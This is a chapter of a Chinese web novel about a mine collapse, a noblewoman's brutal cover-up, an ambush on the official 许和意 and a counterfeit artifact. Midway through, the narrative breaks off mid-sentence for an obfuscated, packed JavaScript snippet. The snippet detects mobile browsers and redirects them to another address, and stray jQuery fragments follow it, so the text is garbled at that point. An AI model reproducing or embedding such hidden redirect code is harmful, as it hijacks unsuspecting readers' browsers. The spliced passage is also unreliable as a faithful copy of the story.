22. 惊变(上)

作品:《送暖阳,送和意

    “砰砰砰!!!”


    城东的一处地方突然接连响起一阵异动,紧接着灰尘扬起几丈高,那动静让附近林子里的鸟都惊得振翅飞起,乌压压地盘旋在空中。


    “洞塌了——快跑啊——”


    “死人了!”


    “还有人在里面——”


    一个穿着粗布短打衣服的矿夫面带惊恐,一边跑,一边大喊:“快跑!快跑!!!”


    他的身后是瞬间倾塌的山洞,扬起的尘土和碎石宛如溃决的河流一般汹涌向前,眼见着下一息就要直接将他吞没,一个人影从侧边闪过,将其带离原地。


    在矿外拉车的人见到这场景,立刻夺命狂奔,但有些来不及逃跑的人还是被无情埋在这黄土之下……


    “啪——啪——啪——”


    明亮的阳光透过四周大开的窗户照进屋内,笼罩在半躺在卧榻之上、正在闭目感受温暖的温凌萱身上。当她听见鞭子抽打声停止的时候,娥眉轻蹙:“继续打。”


    屋内声音再度响起,张铸看一眼地下跪着的人那已经血肉模糊的后背,瞬间感觉那玉竹鞭好似抽在自己身上一样,吓得他立刻眼观鼻、鼻观心。


    当温凌萱喊“停”的时候,跪在地上的那人已经去了半条命。


    张铸看着他被人拖下去,心中顿时警铃大作,明白轮到自己了。


    温凌萱看着低头不敢看自己的张铸,一想到无极矿坍塌的事情,就恨铁不成钢地冷声道:“我当真不知,你们竟是这般废物无能!”


    张铸虽然没有等来鞭子落下,却等来了这句更令他羞愧的冰冷话语。


    “崔书雪呢?”


    张铸连忙回道:“崔公子今日出城去了,说是申时回来。”


    “去喊乔鹤过来。”


    收到矿场坍塌消息的乔鹤早早就在屋外等候,看到张铸用像见救命恩人的眼神看自己的时候,他知道轮到自己为他们擦屁股了。


    温凌萱见乔鹤进来,直接将放在床榻旁边矮桌上的一把钥匙丢给他。乔鹤慌忙隔空接住钥匙,虽然不敢细看,但内心已经有了猜测,顿觉苦不堪言——他最不喜欢干的事就是和人打交道。


    “百清堂那里肯定已经收到消息,必须在他们到来之前处理干净,有些弃子可以直接舍去。这是私库钥匙,里面钱财尽管支取,安抚好幸存人的情绪,若有胡搅蛮缠者,你自己看着办。”温凌萱虽然没有明说,但这话外之音已经很明显了。


    她捕捉到乔鹤脸上闪过一丝为难的神情,突然想到这个乔鹤好似从未处理过这种情况,便补充道:“若没有头绪,去找崔书雪身边的那对双生兄弟,问问他们当初是怎么安抚下君来那些剩余眷属的。”


    乔鹤这么一听立刻心中焦虑放了大半,人也变得精神了:“属下记住了。”


    “而你……”温凌萱看着一听自己点名就立马把头低下的张铸,一时之间都要怀疑自己当初为什么选了这么个人当望涉司的指挥使,明明刚开始的时候这人干活也挺机灵的。


    “名册都准备好了?”


    张铸一听是问这个,立刻来了自信:“今日一早名册都被百清堂的人拿走了,小姐放心,保证万无一失。”


    “嗯,都退下去处理事情吧。”


    张铸连忙作揖,然后倒退着出门,生怕晚了那鞭子会重新到自己身上。


    “哎,乔侍卫——”张铸看到乔鹤擦肩而过,连忙叫住他。


    “何事?”


    张铸见他停步,立刻凑上前低声问:“你可知婚宴还会如期办吗?”


    对方虽然没有回答,但是用一脸不解的表情回答了他,他又再次补充:“小姐受了这么严重的伤,眼看着离定好的婚宴也没几日了……”


    乔鹤:“……”


    乔鹤有时候真的觉得面前这个人很会伪装,刚开始真以为是能干的人,后来发现只是表面能干,但偏偏他每次错漏都能完美避开,每次问罪时总有人替他先挡在前面受罚。


    “还请大人做好自己的事,其余的事小姐自有安排。告辞。”


    我这不是还没准备好嘛!


    张铸叫苦不迭,婚宴当日必定人群聚集,况且还有大事发生,必须要找个足够大的场地才行。然而近期百清堂频繁动作,以至于他至今还没想好到底要怎么安排。


    这不,活又来了。


    张铸远远就看到手下的人正一脸焦急地朝自己小跑而来,他长长叹了口气,认命迎上。


    “咳咳……”


    梁声还没踏入坍塌地界就被空气中弥漫的灰尘和粉末呛了个实在,他连忙把袖中的遮口戴上,跟上前方许和意的脚步。


    许和意看着一具具从塌陷矿场里挖出来的尸身,正陆续从自己身侧抬过,缓缓停下脚步,伫立良久。在听到有人快步赶来的脚步声,侧头扫了一眼来人。


    张铸被他骇人的目光吓得呆在了原地,踌躇了一下,又再次上前:“大……大人……”


    “说。”


    人精般的张铸自然明白,今日要是说不清楚,不用等到明日,今夜怕是自己就会人头落地。


    张铸将登记了涉州城入城人员的名册,呈给许和意:“是前日夜里有人假借喻家家眷之名混入城内,借着暗道潜入无极矿洞中,顶替矿夫试图将无极矿私运出城,不曾想竟引发此矿塌陷。”


    旁边的梁声见自家大人并没有翻看的打算,便立刻将名册接过来。


    “哦?”许和意听完他汇报的前因后果,转身看向他,“这城中暗道从何而来?外人又从何处得知?”


    “回大人,这城中暗道遍布,只是因为几年前城内偶然走水,火势烧了两天两夜。后来前城主下令在城内地下修建水道,以防再有走水之事发生。至于这些人从何处得知……”


    张铸觑了下许和意的神色,发现无从得知他此时心中所想,便立刻跪地,声音中带着悔恨:“是属下监管不力,望涉司内出了告密之人……不过大人放心,属下已经将此人以鞭刑惩戒。”


    许和意点头,但没有对他刚才所说发出任何回应,张铸只得继续跪在原地。


    “大人小心——”


    梁声刚从别的地方探查回来,远远就看见左侧林子深处有暗箭破空,直冲许和意而来。


    许和意灵巧侧身,顺便把已经吓呆了的张铸也拉到了一边。


    张铸回头看到自己被许大人拖拽的跪痕,立马回魂,赶紧站在许和意身后躲避第二波的暗箭。


    啪的几声脆响,数枚箭矢撞上凌空砸来的石块,被弹开数尺远,甚至有一两枚应声断裂。


    许和意用刀将剩下的箭矢砍断,回头看向石块飞来的方向,就看到一个戴着遮口灰头土脸的女子,熟悉的人手上正来回抛着几块碎石。


    那人见到许和意看到了自己,立刻露齿笑道:“又见到了,许大人。”


    她边走过来,边将手上剩余的石块接连打掉阴魂不散的箭矢,待走到许和意身边时说道:“愿为大人效劳,记得付个辛苦费。”


    陈暖确定他听到后,拿起许和意手边的刀就直冲向树林方向。


    梁声


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16973052|192872||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    将手边的人打晕,闻声回头,就看到陈暖已经将两三个人丢在自己的脚边。


    陈暖见梁声停了下来,开口道:“速战速决。”


    张铸站在原地,听着不远处传来的打斗声,时不时抬眼看一下身边跟没事人一样的许和意,不禁心里默默感叹:不愧是见过大风大浪的百清堂堂主。


    “大人,人都在这了,共十二人,九死三活。”


    梁声把人带到许和意面前后就等后续的吩咐,陈暖站在旁边不说话,许和意盯着没来得及自我了断的剩下三人,也没有说话。而张铸则不动神色地扭头看了一眼那三人后,安静地垂首站在许和意身后。


    “带回百清堂。”许和意说完,侧身对张铸说,“你也回去,安抚好那些遇难者家眷。”


    张铸连连点头:“下官遵命。”


    陈暖看着他们离开的背影,说:“就这么让他走了?”


    “跳梁小丑罢了。”许和意回头看着她,问:“你怎么在这?”


    陈暖认真道:“我说一句路过你信吗?”


    许和意没有说话,只是望着她。


    陈暖看着对方道:“我是真路过,远远看到这边有大量灰尘扬起,猜测出了事,就连忙赶了过来。”


    “没说不信你。”


    许和意掏出一块手帕想要递给她,但见她右手还在拿着刀,就向前朝她走了两步。


    陈暖以为他要拿回自己的刀,就将手中的浮舟刀翻转了一下,将刀柄递给他。却见对方并没有拿刀之意,反倒握住自己的左手腕,用那帕子将手上沾的泥土擦拭掉,然后开始替自己包扎已经开始往外渗血的手掌。


    “呃……”陈暖看着他包扎灵活的手,很想说“你把你的刀拿走,我不就有手给自己包扎了吗”。


    “怎么了?”


    “没事……”陈暖放弃,算了,反正都要好了。


    没成想这人包好自己的左手,直接将自己右手拿着的刀插进土里,又开始给自己包扎右手了。


    陈暖抬头望天:自己刚才怎么没想过这么做……


    算了,反正这只手也要包好了……


    陈暖抬起双手看了看,点头认可:“许大人,手艺不错。”


    陈暖见许和意也满意地跟着点头,想了想:“既如此……那就为了感谢许大人这不错的包扎手艺,给你个东西。”


    许和意就见她抖了抖袖口,然后伸手掏出了一块衡木递给他。


    此木通体色红且泛着微褐,手感细腻,其内有浅色丝纹,上有多处裂口,明显有被人尝试多次劈开的痕迹。虽看着不起眼,但在手中拿着却极其有分量。


    许和意把玩着这块衡木,直接开门见山:“从温家拿的?”


    陈暖不意外他会这么说。那夜从进温家起,一直紧紧跟随她的那几个百清卫虽然中了“三秋梦”,但此无形无色的迷药只能衔接人的记忆,并不能创造一个不属于自己的经历或者记忆。因此细推言语,被发现也是迟早的事。


    “许大人对此物有何高见?”


    “假的。”


    陈暖惊讶:“你如何看出?”


    神山衡没被焚毁前,这温家将其看得比性命都重要,更不要提让别人把玩。再说后面圣上派人将其焚毁时,这人也还没上任,不应该见过此物。


    许和意笑了笑,一语中的:“若是真的,你还会将它拿给我看?”


    “也是。”陈暖认可地点了点头,指着它,“此物确实是赝品,但是这两天,已有多人获得了这块赝品,且信以为真。”